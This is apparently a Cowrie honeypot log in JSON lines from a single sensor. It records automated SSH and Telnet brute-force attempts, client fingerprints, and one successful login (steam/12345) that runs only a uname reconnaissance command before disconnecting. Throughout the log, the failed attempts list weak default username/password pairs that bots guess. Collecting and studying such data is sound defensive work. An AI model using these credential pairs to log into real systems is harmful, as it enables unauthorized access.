{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:26.099465Z","src_ip":"45.153.34.97","session":"b2fd6f9655c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:26.182318Z","src_ip":"45.153.34.97","session":"b2fd6f9655c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:26.573079Z","src_ip":"45.153.34.97","session":"b2fd6f9655c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:26.922687Z","src_ip":"43.153.36.83","session":"22d3b7d30ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:27.774574Z","src_ip":"45.153.34.97","session":"b2fd6f9655c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":34390,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f6acd21608","protocol":"ssh","message":"New connection: 181.47.9.103:34390 (10.17.0.5:22) [session: 36f6acd21608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:29.106552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:29.110692Z","src_ip":"181.47.9.103","session":"36f6acd21608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:29.253503Z","src_ip":"181.47.9.103","session":"36f6acd21608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tech$123","message":"login attempt [root/Tech$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:29.856872Z","src_ip":"181.47.9.103","session":"36f6acd21608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21312,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4abbdb80ed8","protocol":"ssh","message":"New connection: 45.153.34.97:21312 (10.17.0.5:22) [session: c4abbdb80ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:30.007842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:30.013858Z","src_ip":"45.153.34.97","session":"c4abbdb80ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:30.111941Z","src_ip":"45.153.34.97","session":"c4abbdb80ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stef","password":"stef","message":"login attempt [stef/stef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:30.387651Z","src_ip":"45.153.34.97","session":"c4abbdb80ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:31.001861Z","src_ip":"181.47.9.103","session":"36f6acd21608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:31.481250Z","src_ip":"45.153.34.97","session":"c4abbdb80ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41172,"dst_ip":"10.17.0.5","dst_port":22,"session":"2103fa1b46a7","protocol":"ssh","message":"New connection: 45.153.34.97:41172 (10.17.0.5:22) [session: 2103fa1b46a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:34.002615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:34.020886Z","src_ip":"45.153.34.97","session":"2103fa1b46a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:34.107902Z","src_ip":"45.153.34.97","session":"2103fa1b46a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:35.075516Z","src_ip":"45.153.34.97","session":"2103fa1b46a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:36.484620Z","src_ip":"45.153.34.97","session":"2103fa1b46a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":54832,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a7b1fa5eda4","protocol":"ssh","message":"New connection: 43.153.31.20:54832 (159.203.135.109:22) [session: 9a7b1fa5eda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:37.099654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:37.110711Z","src_ip":"43.153.31.20","session":"9a7b1fa5eda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:37.179327Z","src_ip":"43.153.31.20","session":"9a7b1fa5eda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd82513ffa1","protocol":"telnet","message":"New connection: 152.42.224.71:54860 (10.17.0.5:23) [session: fdd82513ffa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:37.212314Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd123","message":"login attempt [root/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:37.486587Z","src_ip":"43.153.31.20","session":"9a7b1fa5eda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a9567eb4fd","protocol":"ssh","message":"New connection: 45.153.34.97:41180 (10.17.0.5:22) [session: 29a9567eb4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:38.078401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:38.083791Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:38.193527Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:38.479502Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:38.557885Z","src_ip":"43.153.31.20","session":"9a7b1fa5eda4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:39.116477Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:39.132077Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:39.219850Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:39.226004Z","src_ip":"45.153.34.97","session":"29a9567eb4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.17867708206177,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:40.390981Z","src_ip":"152.42.224.71","session":"092ce131fd4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":57868,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba39e1d673a3","protocol":"ssh","message":"New connection: 159.65.8.74:57868 (10.17.0.5:22) [session: ba39e1d673a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:40.545738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:40.550706Z","src_ip":"159.65.8.74","session":"ba39e1d673a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:40.797302Z","src_ip":"159.65.8.74","session":"ba39e1d673a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:41.837502Z","src_ip":"159.65.8.74","session":"ba39e1d673a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":37206,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7604bb5066","protocol":"ssh","message":"New connection: 45.153.34.97:37206 (10.17.0.5:22) [session: 0d7604bb5066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:42.371011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:42.380904Z","src_ip":"45.153.34.97","session":"0d7604bb5066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:42.489731Z","src_ip":"45.153.34.97","session":"0d7604bb5066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ana","message":"login attempt [root/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:42.812390Z","src_ip":"45.153.34.97","session":"0d7604bb5066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:43.086164Z","src_ip":"159.65.8.74","session":"ba39e1d673a3","protocol":"ssh"}
